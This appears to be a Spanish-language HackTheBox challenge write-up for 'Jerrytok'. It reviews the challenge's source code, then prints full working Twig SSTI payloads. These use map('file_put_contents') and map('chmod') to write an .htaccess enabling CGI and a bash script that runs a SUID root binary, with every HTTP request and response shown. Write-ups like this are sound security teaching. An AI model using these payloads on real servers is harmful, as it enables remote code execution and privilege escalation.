Usa el árbol para saltar entre colecciones sin salir del lector.

archivo Seleccionar un writeup Abrir árbol
HackTheBox/Challenges/Challenge Jerrytok.md READ_ONLY

Challenge Jerrytok

Este reto consiste en identificar y explotar una vulnerabilidad de Server Side Template Injection (SSTI) en una aplicación web en PHP y la solución consiste en aprovechar el SSTI para sobrescribir un archivo .htaccess, habilitando la ejecución de scripts CGI en bash para ejecutar un binario con permisos SUID y leer la flag.

La fase inicial se centra en una revisión de código de los archivos proporcionados. Al examinar el archivo config/supervisord.conf, se observa que supervisord se ejecuta bajo el usuario root.

$ cat config/supervisord.conf
[supervisord]
user=root
nodaemon=true
logfile=/dev/null
logfile_maxbytes=0
pidfile=/run/supervisord.pid

[program:apache]
command=httpd -D FOREGROUND
autostart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0

El reto incluye un archivo en C llamado readflag.c. Una inspección rápida revela que el código establece el UID en cero y ejecuta un comando para leer la flag ubicada en el directorio root.

$ cat readflag.c

int main()
{
    setuid(0);
    system("/bin/cat /root/flag");
}

El Dockerfile confirma que este código fuente en C se compila durante el proceso de construcción del contenedor, y al binario resultante se le otorgan permisos SUID, permitiéndole ejecutarse con privilegios de root.

$ cat Dockerfile
...
# Add readflag binary
COPY readflag.c /
RUN gcc -o /readflag /readflag.c && chmod 4755 /readflag && rm /readflag.c

# Copy flag
COPY flag /root/flag
...

La lógica principal de la aplicación web reside en challenge/src/Controller/DefaultController.php. El código recupera el parámetro location de una petición GET y lo concatena directamente en una cadena de texto que se pasa a una plantilla Twig. Esta renderización directa sin ninguna desinfección (sanitization) introduce una posible vulnerabilidad de Server Side Template Injection (SSTI).

$ cat challenge/src/Controller/DefaultController.php
<?php
namespace App\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\Request;

class DefaultController extends AbstractController
{
    public function index(Request $request): Response
    {
        $location = $request->get('location');

        if (empty($location))
        {
            $latitude = mt_rand(-90, 90) + mt_rand() / mt_getrandmax();
            $longitude = mt_rand(-180, 180) + mt_rand() / mt_getrandmax();
            $location = "($latitude, $longitude)";
        }

        $message = $this->container->get('twig')->createTemplate(
                "Located at: {$location} from your ship's computer"
            )
            ->render();

        return $this->render('base.html.twig', [
            'message' => $message ?? ''
        ]);
    }
}

El reconocimiento con herramientas como Wappalyzer confirma que el entorno utiliza PHP 8.2.26 y Apache 2.4.65.

Para verificar la vulnerabilidad SSTI, se envía un payload simple {{7*7}} a través del parámetro location.

GET /?location={{7*7}} HTTP/1.1
Host: 154.57.164.80:30343
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

El servidor evalúa la expresión y devuelve 49, confirmando la presencia de la vulnerabilidad.

HTTP/1.1 200 OK
Date: Thu, 09 Jul 2026 20:59:11 GMT
Server: Apache/2.4.65 (Unix)
X-Powered-By: PHP/8.2.26
Cache-Control: no-cache, private
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 5045
...
<h3 class='text-center'>Located at: 49 from your ship's computer</h3>
...

Se envía otro payload para determinar la versión exacta del motor de plantillas Twig en uso.

GET /?location=%7B%7B%20constant('Twig\\Environment%3A%3AVERSION')%20%7D%7D HTTP/1.1
Host: 154.57.164.80:30343
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

La aplicación revela que se está utilizando la versión 3.24.0 de Twig.

HTTP/1.1 200 OK
Date: Thu, 09 Jul 2026 21:00:50 GMT
Server: Apache/2.4.65 (Unix)
X-Powered-By: PHP/8.2.26
Cache-Control: no-cache, private
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 5049
...
<h3 class='text-center'>Located at: 3.24.0 from your ship's computer</h3>
...

Dado que la aplicación corre bajo Apache, un atacante puede anular las configuraciones del servidor creando un archivo .htaccess, siempre y cuando el directorio raíz web (DocumentRoot) tenga permisos de escritura. Este archivo se puede manipular para habilitar la ejecución CGI para scripts de bash, permitiendo la ejecución de comandos arbitrarios. Se realiza un intento para escribir un archivo .htaccess usando el filtro map de Twig combinado con file_put_contents, apuntando al directorio raíz esperado /var/www/public/.

GET /?location=%7B%25%20set%20a%20%3D%20%7B'Options%20%2BExecCGI\nAddHandler%20cgi-script%20.sh'%3A%20'%2Fvar%2Fwww%2Fpublic%2F.htaccess'%7D|map('file_put_contents')%25%7D HTTP/1.1
Host: 154.57.164.80:30343
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

El servidor responde con un 200 OK, lo que indica que el formato del payload es válido y que no ocurrieron errores de sintaxis en Twig.

HTTP/1.1 200 OK
Date: Thu, 09 Jul 2026 21:01:55 GMT
Server: Apache/2.4.65 (Unix)
X-Powered-By: PHP/8.2.26
Cache-Control: no-cache, private
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 5043
...
<h3 class='text-center'>Located at: from your ship's computer</h3>
...

Siguiendo el mismo enfoque, se sube un script malicioso en bash (exploit.sh) diseñado para ejecutar el binario SUID. El script incluye un 'shebang' adecuado e imprime la cabecera Content-Type: text/plain para cumplir con los requisitos de CGI antes de invocar /readflag.

GET /?location=%7B%25%20set%20a%20%3D%20%7B'%23!%2Fbin%2Fsh\necho%20Content-Type%3A%20text%2Fplain\necho\n%2Freadflag'%3A%20'%2Fvar%2Fwww%2Fpublic%2Fexploit.sh'%7D|map('file_put_contents')%25%7D HTTP/1.1
Host: 154.57.164.80:30343
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

HTTP/1.1 200 OK
Date: Thu, 09 Jul 2026 21:02:46 GMT
Server: Apache/2.4.65 (Unix)
X-Powered-By: PHP/8.2.26
Cache-Control: no-cache, private
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 5043
...
<h3 class='text-center'>Located at: from your ship's computer</h3>
...

Se necesitan permisos de ejecución para que el script funcione como un programa CGI. El payload se modifica para usar la función chmod de PHP a través de Twig, aplicando el valor decimal 511 (equivalente a 777 en octal) al script.

GET /?location=%7B%25%20set%20a%20%3D%20%7B'511'%3A%20'%2Fvar%2Fwww%2Fpublic%2Fexploit.sh'%7D|map('chmod')%25%7D HTTP/1.1
Host: 154.57.164.80:30343
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

HTTP/1.1 200 OK
Date: Thu, 09 Jul 2026 21:03:22 GMT
Server: Apache/2.4.65 (Unix)
X-Powered-By: PHP/8.2.26
Cache-Control: no-cache, private
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 5043
...
<h3 class='text-center'>Located at: from your ship's computer</h3>
...

Al emitir una petición GET para recuperar y ejecutar el script, el servidor responde con un error 404 Not Found, lo cual señala un problema con la ruta esperada del archivo.

GET /exploit.sh HTTP/1.1
Host: 154.57.164.80:30343
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

HTTP/1.1 404 Not Found
Date: Thu, 09 Jul 2026 21:03:58 GMT
Server: Apache/2.4.65 (Unix)
Content-Length: 276
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>

<head>
    <title>404 Not Found</title>
</head>

<body>
    <h1>Not Found</h1>
    <p>The requested URL was not found on this server.</p>
    <hr>
    <address>Apache/2.4.65 (Unix) Server at 154.57.164.80 Port 30343</address>
</body>

</html>

Una revisión secundaria de los archivos de configuración, específicamente config/httpd.conf, revela el origen del problema. El DocumentRoot está configurado en /www/public, en lugar del directorio estándar /var/www/public utilizado en los payloads iniciales.

$ cat config/httpd.conf
ServerTokens OS

ServerRoot /var/www

Listen 1337

LoadModule mpm_event_module modules/mod_mpm_event.so
LoadModule authn_file_module modules/mod_authn_file.so
LoadModule authn_core_module modules/mod_authn_core.so
...
DocumentRoot /www/public

ErrorLog /dev/stderr
CustomLog /dev/stdout combined

DirectoryIndex index.php
<Directory /www/public>
    AllowOverride All
</Directory>

Los payloads se ajustan para apuntar al directorio correcto del DocumentRoot. El archivo .htaccess se vuelve a crear con la ruta corregida.

GET /?location=%7B%25%20set%20a%20%3D%20%7B'Options%20%2BExecCGI\nAddHandler%20cgi-script%20.sh'%3A%20'%2Fwww%2Fpublic%2F.htaccess'%7D|map('file_put_contents')%25%7D HTTP/1.1
Host: 154.57.164.80:30343
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

HTTP/1.1 200 OK
Date: Thu, 09 Jul 2026 21:04:54 GMT
Server: Apache/2.4.65 (Unix)
X-Powered-By: PHP/8.2.26
Cache-Control: no-cache, private
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 5043
...
<h3 class='text-center'>Located at: from your ship's computer</h3>
...

El payload para el script de bash malicioso también se actualiza para la ruta correcta y se ejecuta en el servidor.

GET /?location=%7B%25%20set%20a%20%3D%20%7B'%23!%2Fbin%2Fsh\necho%20Content-Type%3A%20text%2Fplain\necho\n%2Freadflag'%3A%20'%2Fwww%2Fpublic%2Fexploit.sh'%7D|map('file_put_contents')%25%7D HTTP/1.1
Host: 154.57.164.80:30343
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

HTTP/1.1 200 OK
Date: Thu, 09 Jul 2026 21:05:23 GMT
Server: Apache/2.4.65 (Unix)
X-Powered-By: PHP/8.2.26
Cache-Control: no-cache, private
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 5043
...
<h3 class='text-center'>Located at: from your ship's computer</h3>
...

Los permisos del script se modifican para hacerlo ejecutable, enviando el payload final actualizado.

GET /?location=%7B%25%20set%20a%20%3D%20%7B'511'%3A%20'%2Fwww%2Fpublic%2Fexploit.sh'%7D|map('chmod')%25%7D HTTP/1.1
Host: 154.57.164.80:30343
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

HTTP/1.1 200 OK
Date: Thu, 09 Jul 2026 21:05:54 GMT
Server: Apache/2.4.65 (Unix)
X-Powered-By: PHP/8.2.26
Cache-Control: no-cache, private
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 5043
...
<h3 class='text-center'>Located at: from your ship's computer</h3>
...

Con las configuraciones y permisos asignados correctamente, una petición GET final a /exploit.sh invoca el script, ejecutando de manera exitosa el binario SUID y exponiendo la flag.

GET /exploit.sh HTTP/1.1
Host: 154.57.164.80:30343
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

HTTP/1.1 200 OK
Date: Thu, 09 Jul 2026 21:06:13 GMT
Server: Apache/2.4.65 (Unix)
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain
Content-Length: 68

HTB{FLAG}